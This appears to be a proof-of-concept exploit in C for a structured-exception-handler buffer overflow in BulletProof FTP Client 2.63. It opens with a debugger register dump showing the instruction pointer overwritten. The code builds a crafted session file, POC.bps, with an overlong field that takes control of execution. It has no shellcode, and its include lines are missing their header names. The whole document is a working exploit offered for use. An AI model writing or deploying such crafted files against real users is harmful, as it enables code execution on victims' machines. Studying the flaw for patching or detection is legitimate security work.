/* BulletProof FTP Client suffer a buffer overflow (SEH). Tested on BullerProof FTP Client v. 2.63 build 56 (The last one) but may work with older releases as well Registers: EAX 00000000 ECX 65646362 EDX 7C9032BC ntdll.7C9032BC EBX 00000000 ESP 0012F1E0 EBP 0012F200 ESI 00000000 EDI 00000000 EIP 65646362 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 1 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDF000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE) ST0 empty -??? FFFF 00FF00FF 00FF00FF ST1 empty -??? FFFF 00FF00FF 00FF00FF ST2 empty -??? FFFF 000000F3 00F300F3 ST3 empty -??? FFFF 000000F3 00F300F3 ST4 empty -??? FFFF 00F4F4F4 00F4F4F4 ST5 empty 7.2337335968722701770e+18 ST6 empty 7.3060737696935038410e+18 ST7 empty 7.0169967652934372810e+18 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0 */ #include #include #include char *xpl; char *str; char message[]="This is a BulletProof FTP Client Session-File and should not be modified directly.\n"; char trash[]="21\nanything\nbpfdhjomeepehepbflql\nC:\\\n/"; int main(){ int tam; FILE *fp; printf("Made by: Rafael Sousa\n"); printf("Produzido por Rafael Sousa\n"); str=(char *)malloc(98*sizeof(char)); memset(str,'a',93); str[93]='b'; str[94]='c'; str[95]='d'; str[96]='e'; str[97]='\0'; tam=strlen(str)+strlen(message)+strlen(trash); printf("%d\n",tam); xpl=(char *)malloc((tam+1)*sizeof(char)); sprintf(xpl,"%s%s\n%s",message,str,trash); fp=fopen("POC.bps","w"); fputs(xpl,fp); fclose(fp); free(str); free(xpl); return(0); }